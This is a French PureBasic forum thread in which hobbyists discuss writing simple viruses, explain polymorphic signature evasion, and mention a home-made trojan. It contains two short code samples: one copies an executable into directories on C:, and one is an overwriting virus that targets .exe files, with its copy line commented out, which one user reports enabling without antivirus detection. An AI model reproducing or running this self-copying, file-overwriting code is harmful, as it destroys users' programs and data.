Mon 1er "virus" PB (virus gentil)

Programmation d'applications complexes
Dorian
Messages : 489
Inscription : mar. 15/mars/2005 15:33

Message par Dorian »

nico a écrit :Que tous ceux qui savent créer un virus lève le doigt. :lol:
Je sais faire la partie "génante" du virus ^^ enfin pas forcement parfaite mais sa peut faire beaucoup de connerie ^^. quand à la mulitplication, ya pas plus simple, mais alors, l'attachement au fichier ou l'infectation d'exe ou encore le polymorfisme là je suis pommé ^^


D'ailleurs quelqu'un pourait me dire en gros concretement ce qu'est le polymorphisme pour un progrmme ? :oops:
Cls
Messages : 620
Inscription : mer. 22/juin/2005 8:51
Localisation : Nantes

Message par Cls »

Le polymorphisme consiste à modifier la structure du programme pour le rendre indétectable vis à vis des anti-virus. En effet chaque virus possède une signature, c'est ce qui permet aux anti-virus de les détecter. Cette signature est basée sur le code même du programme (généralement une suite d'octets particulière). Si le virus est capable de modifier sa structure (changer un mov eax, 0 par un xor eax, eax par exemple), alors l'anti-virus ne peut plus détecter le virus car la signature du programme a changé. De même, le virus peut se crypter pour modifier sa signature.
Il existe tout un tas de technique pour rendre un programme parasite indétectable.
Citation:
Enfin, le virus est le programme informatique le plus simple à faire


Que tous ceux qui savent créer un virus lève le doigt.
En moins de 10 lignes c'est faisable !
Dorian
Messages : 489
Inscription : mar. 15/mars/2005 15:33

Message par Dorian »

Bref le polymorphisme est balèse à faire ^^ car il faut s'y connaître un minimu en ASM :? ^^
Avatar de l’utilisateur
Jacobus
Messages : 1559
Inscription : mar. 06/avr./2004 10:35
Contact :

Message par Jacobus »

Si le virus est capable de modifier sa structure (changer un mov eax, 0 par un xor eax, eax par exemple), alors l'anti-virus ne peut plus détecter le virus car la signature du programme a changé. De même, le virus peut se crypter pour modifier sa signature.


D'où les moteurs heuristiques et d'étude comportementale dont certains très poussés ne laissent plus passer grand chose.
Quand tous les glands seront tombés, les feuilles dispersées, la vigueur retombée... Dans la morne solitude, ancré au coeur de ses racines, c'est de sa force maturité qu'il renaîtra en pleine magnificence...Jacobus.
Cls
Messages : 620
Inscription : mer. 22/juin/2005 8:51
Localisation : Nantes

Message par Cls »

Tout à fait mais ils se trompent aussi plus souvent.
Dernière modification par Cls le jeu. 27/avr./2006 13:11, modifié 1 fois.
CameleonTH
Messages : 333
Inscription : sam. 25/juin/2005 11:18
Localisation : Laon (02)
Contact :

Message par CameleonTH »

En parlant de virus je me rapelle qu'avec PB j'avais fait un petit cheval de troie, rassurez vous je ne l'utilise pas a des fin nuisible, c'est juste pour controler mon pc a distance.
Cls
Messages : 620
Inscription : mer. 22/juin/2005 8:51
Localisation : Nantes

Message par Cls »

Si on se réfère à la stricte définition d'un virus, un cheval de troie n'en est pas un. Il est néanmoins possible de créer des virus multipartites : exemple une routine de propagation, un cheval de troie, une routine d'infection d'exe... Ces virus combinent différentes techniques qui les rendent relativement puissants. Le revers de la médaille c'est qu'ils sont aussi plus difficiles à programmer.
Backup
Messages : 14526
Inscription : lun. 26/avr./2004 0:40

Message par Backup »

Cls a écrit :En moins de 10 lignes c'est faisable !
ben j'aimerai bien voir ça :lol: :lol:
Avatar de l’utilisateur
cederavic
Messages : 1338
Inscription : lun. 09/févr./2004 23:38
Localisation : Bordeaux

Message par cederavic »

Code : Tout sélectionner

ExamineDirectory(0, "c:\", "")
Repeat
  NextDirectoryEntry(0)
  type = DirectoryEntryType(0)
  If type = #PB_DirectoryEntry_Directory
    CopyFile("c:\virus.exe", "c:\" + DirectoryEntryName(0) + "\virus.exe")
    t + 1
  EndIf
Until t = 10
end
C'est un virus, pas mechant ni puissant, mais c'en est un :P (biensur il faut compiler en virus.exe sous c:\ )
Cls
Messages : 620
Inscription : mer. 22/juin/2005 8:51
Localisation : Nantes

Message par Cls »

Dobro a écrit :
Cls a écrit :En moins de 10 lignes c'est faisable !
ben j'aimerai bien voir ça :lol: :lol:
Mais c'est à la portée de tout le monde !
Voilà l'exemple le plus simple. C'est un virus overwriting (il écrase le contenu du fichier hôte) qui infecte le contenu d'un seul et unique répertoire (comme à la bonne vieille époque des fichiers .com) :

Code : Tout sélectionner

;/* On récupère le nom du fichier courant */
Procedure.s Filename()
  tmp$ = Space(255)
  GetModuleFileName_(0,@tmp$,255)
  ProcedureReturn Trim(tmp$)
EndProcedure

;/* quel répertoire à infecter ?*/
dir$ = "A:"
;/* quel fichiers cibler ? */
cible$ = "*.exe"

ExamineDirectory(0, dir$, cible$)

;/* parcours du repertoire */
tmp = NextDirectoryEntry()
While tmp
  ;/* fichier => infection */
  If tmp = 1 
    name$ = dir$ + DirectoryEntryName()
    ;CopyFile(Filename(), name$)
    Debug name$
  EndIf
  tmp = NextDirectoryEntry()
Wend
Balancez ca sur votre ordinateur, si vous avez un anti-virus digne de ce nom, il vous rira au nez ! Faire un bon virus est extrêment difficile, et ca ce n'est pas donné à tout le monde.
Dorian
Messages : 489
Inscription : mar. 15/mars/2005 15:33

Message par Dorian »

Cls a écrit :
Dobro a écrit :
Cls a écrit :En moins de 10 lignes c'est faisable !
ben j'aimerai bien voir ça :lol: :lol:
Mais c'est à la portée de tout le monde !
Voilà l'exemple le plus simple. C'est un virus overwriting (il écrase le contenu du fichier hôte) qui infecte le contenu d'un seul et unique répertoire (comme à la bonne vieille époque des fichiers .com) :

Code : Tout sélectionner

;/* On récupère le nom du fichier courant */
Procedure.s Filename()
  tmp$ = Space(255)
  GetModuleFileName_(0,@tmp$,255)
  ProcedureReturn Trim(tmp$)
EndProcedure

;/* quel répertoire à infecter ?*/
dir$ = "A:"
;/* quel fichiers cibler ? */
cible$ = "*.exe"

ExamineDirectory(0, dir$, cible$)

;/* parcours du repertoire */
tmp = NextDirectoryEntry()
While tmp
  ;/* fichier => infection */
  If tmp = 1 
    name$ = dir$ + DirectoryEntryName()
    ;CopyFile(Filename(), name$)
    Debug name$
  EndIf
  tmp = NextDirectoryEntry()
Wend
Balancez ca sur votre ordinateur, si vous avez un anti-virus digne de ce nom, il vous rira au nez ! Faire un bon virus est extrêment difficile, et ca ce n'est pas donné à tout le monde.
Bah mon antivirus n'a rien dit ^^ (en ayant décommenté la ligne CopyFile(Filename(), name$)) ^^
Cls
Messages : 620
Inscription : mer. 22/juin/2005 8:51
Localisation : Nantes

Message par Cls »

Remarque je viens de tester, le mien non plus n'a rien dit ! lol
Comme quoi, les anti-virus sont pas vraiment au point...
nico
Messages : 3702
Inscription : ven. 13/févr./2004 0:57

Message par nico »

On en revient à ce qui à été dit au début de ce topic; n'est-ce pas Dobro!

T'as une idée du nombre de fichiers qui sont créés et modifiés sans parler des modifications du registre, c'est l'horreur. Si on doit avoir un message à chaque fois qu'il se passe quelque chose sur son ordinateur, il n'y aurait que l'antivirus qui aurait le droit de fonctionner.
Dorian
Messages : 489
Inscription : mar. 15/mars/2005 15:33

Message par Dorian »

nico a écrit :il n'y aurait que l'antivirus qui aurait le droit de fonctionner.
Et encore certain antivirus arriverais à se considérer comme un virus, ne parlons même pas de windows ^^
Avatar de l’utilisateur
venom
Messages : 3128
Inscription : jeu. 29/juil./2004 16:33
Localisation : Klyntar
Contact :

Message par venom »

bonjour, bin moi j'avais fait un petit programme qui faisait ramer le pc a fond (j'ai du redemarrer avec le button car sa bloquer) :D . mais sa je pense que vous savez tous le faire. :d perso j'ai fait sa en 2 lignes il me semble 8) :D .

bonne journee a tous.


@++
Windows 10 x64, PureBasic 5.73 x86 & x64
GPU : radeon HD6370M, CPU : p6200 2.13Ghz
Répondre